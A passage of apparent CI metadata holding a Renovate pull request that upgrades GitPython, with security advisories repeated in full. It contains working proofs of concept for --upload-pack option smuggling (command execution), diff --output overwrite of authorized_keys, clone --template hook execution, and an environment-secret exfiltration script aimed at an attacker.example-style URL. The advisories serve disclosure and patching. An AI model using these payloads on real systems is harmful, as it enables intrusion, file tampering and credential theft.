          to an attacker-chosen path, enabling arbitrary file overwrite.\n\n#####
          Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
          anywhere in the method (grep-confirmed). Additionally `diff.py:265` does
          `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE
          the `--` separator, so a value of `--output=/path` is parsed by git as an
          option \u2014 a value-only control path requiring no kwarg key.\n\n#####
          Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen
          path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real
          diff/patch bytes (attacker-influenced). Per the skill's rule, controlling
          WHICH file is overwritten = I:H regardless of content constraints.\n\n#####
          Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
          output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
          (105 bytes verified)\n\n##### Value-control (attacker controls only the
          ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')
          \         # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n#####
          Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)`
          with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none
          in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method
          body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree
          <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates
          the target then writes diff content. Impact: overwrite/corrupt any file
          at process privilege (attacker chooses the path). Verified argv and victim
          overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          both key-control (`output=`) and value-control (`other='--output=...'`)
          overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
          This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
          \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
          to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
          before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe git option guard bypass via single-character kwarg value
          token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
          guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened
          since) can be bypassed for **every** guarded method (`clone`/`clone_from`,
          `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`)
          by smuggling an option token inside the VALUE of a single-character kwarg.
          In the default `allow_unsafe_options=False` configuration this yields arbitrary
          command execution via `--upload-pack`.\n\n##### Root Cause\nThe guard builds
          its candidate option list from kwarg KEYS only: `_option_candidates([],
          {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives
          the candidate from the key, never the value). `-n` is not on the denylist,
          so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)`
          (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`.
          git then parses the second token as `--upload-pack` and executes the attacker-supplied
          command. The guard never inspects the value that becomes a separate argv
          token.\n\n##### Impact\nArbitrary OS command execution as the host process
          (via `--upload-pack`) in the default configuration, affecting all guarded
          methods since they all build candidates through the name-only `_option_candidates`.\n\n#####
          Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo,
          out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE
          created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write
          variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')`
          -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file
          truncated.\n\n##### Attack Chain\n1. Entry: app forwards a user-supplied
          options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`.
          Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)`
          at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})`
          -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified
          live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)`
          -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none
          (guard already passed on name-only candidate). Bypass proof: verified transform
          emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
          -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
          created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
          HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
          `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from
          with the payload created the marker file; the direct-name `upload_pack=`
          form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore
          key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option,
          GHSA-x2qx multi-before-split) are BLOCKED on HEAD \u2014 this is a distinct
          kwarg-value->separate-token vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
          Suggested Fix\nMake `_option_candidates` also emit candidates derived from
          single-character kwarg VALUES when `split_single_char_options` is in effect,
          OR run `check_unsafe_options` over the fully-transformed argv rather than
          the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)**
          \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 8.8 / 10
          (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via Repo.create_remote() /
          Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
          stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
          but it guarded only that one caller. `Remote.create()` \u2014 reached from
          the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
          passes an attacker-influenceable URL through `Git.polish_url()` with the
          default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
          is expanded server-side to embed the hosting process's environment secret,
          written into `.git/config`, and then transmitted to the attacker's host
          on the next `fetch`/`pull`. This is the same primitive and same \"import
          repository from URL\" threat model the advisory describes, via the sibling
          caller the fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
          added an `expand_vars` parameter to `Git.polish_url()` (default `True`)
          and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
          The shared helper's dangerous default was left in place, and the other callers
          were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
          `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
          expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)       # https:// carrying the secret
          passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded
          URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after*
          expansion here, so it rejects an `ext::` payload but does nothing about
          an `https://` URL that carries an expanded secret in its path or host \u2014
          the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
          (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
          file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
          Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53
          (installed below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
          /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
          install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
          > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration
          via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
          os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython
          version:\", git.__version__)\n\n##### Sentinel standing in for a process
          secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
          = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
          = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
          \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
          \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
          0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
          daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
          from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
          % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
          placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
          URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/netbox-manager).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/netbox-manager/pull/288
        commit_id: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        patchset: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/netbox-manager
          name: osism/netbox-manager
          short_name: netbox-manager
        src_dir: src/github.com/osism/netbox-manager
        topic: null
      change: '288'
      change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis PR
        contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [GitPython](https://redirect.github.com/gitpython-developers/GitPython) |
        `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
        |\n\n---\n\n> [!WARNING]\n> Some dependencies could not be looked up. Check
        the [Dependency Dashboard](../issues/1) for more information.\n\n---\n\n###
        GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling
        arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
        denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
        into the new repository and runs them (`post-checkout` fires during clone),
        so a caller who can influence clone options can achieve arbitrary command
        execution in the default `allow_unsafe_options=False` configuration.\n\n#####
        Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
        \u2014 `--template` is absent. The guard candidate `['--template']` passes
        `check_unsafe_options` (verified). git copies the hook directory and executes
        `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
        do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
        Impact\nArbitrary OS command execution during clone (default config). Requires
        an attacker-readable directory containing an executable hook \u2014 a genuine
        second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
        or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
        Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
        +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
        post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
        Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard:
        n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
        Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
        Bypass proof: `--template` not on the denylist -> passes (verified candidate
        `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout`
        at checkout. Impact: ACE, default config (verified marker created).\n\n#####
        Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']`
        passed with no error; staged `post-checkout` hook executed during `clone_from`,
        creating the marker. Independent of the value-smuggle bypass (`--template`
        is a legitimate long option that survives any single-char-value fix). Not
        covered by any existing advisory.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
        Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing
        options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)**
        \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 7.5 / 10
        (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
        [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Arbitrary file overwrite via git diff --output argument injection
        in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()` forwards
        `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
        guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
        giving a broad surface. `git diff --output=<path>` writes real patch content
        to an attacker-chosen path, enabling arbitrary file overwrite.\n\n##### Root
        Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
        anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0,
        other)`, placing the caller-supplied `other` ref BEFORE the `--` separator,
        so a value of `--output=/path` is parsed by git as an option \u2014 a value-only
        control path requiring no kwarg key.\n\n##### Impact\nOverwrite/corrupt any
        file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`,
        configs, lockfiles). Content is real diff/patch bytes (attacker-influenced).
        Per the skill's rule, controlling WHICH file is overwritten = I:H regardless
        of content constraints.\n\n##### Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
        output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
        (105 bytes verified)\n\n##### Value-control (attacker controls only the ref
        string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')          #
        14-byte victim -> 146 bytes of diff-tree output\n```\n\n##### Attack Chain\n1.
        Entry (value-control): `commit.diff(other=<user ref>)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`.
        Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in
        the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink:
        `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git
        opens+truncates the target then writes diff content. Impact: overwrite/corrupt
        any file at process privilege (attacker chooses the path). Verified argv and
        victim overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag
        3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`)
        overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
        This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
        \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
        Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
        to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
        before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
        by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
        Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
        [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Unsafe git option guard bypass via single-character kwarg value
        token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
        guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since)
        can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`,
        `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token
        inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False`
        configuration this yields arbitrary command execution via `--upload-pack`.\n\n#####
        Root Cause\nThe guard builds its candidate option list from kwarg KEYS only:
        `_option_candidates([], {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']`
        (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n`
        is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n',
        value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv
        tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as
        `--upload-pack` and executes the attacker-supplied command. The guard never
        inspects the value that becomes a separate argv token.\n\n##### Impact\nArbitrary
        OS command execution as the host process (via `--upload-pack`) in the default
        configuration, affecting all guarded methods since they all build candidates
        through the name-only `_option_candidates`.\n\n##### Proof of Concept\n```python\nfrom
        git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch
        /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE created -> ACE. Direct-name
        form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on
        a guarded revision command: `iter_commits('HEAD', g='--output=/path')` ->
        candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n#####
        Attack Chain\n1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url,
        path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([],
        kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([],
        {\"n\":\"--upload-pack=...\"})` -> `['-n']` (key-only), not on denylist ->
        no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n',
        value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`.
        Guard: none (guard already passed on name-only candidate). Bypass proof: verified
        transform emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
        -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
        created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
        HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
        `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with
        the payload created the marker file; the direct-name `upload_pack=` form raised
        UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96
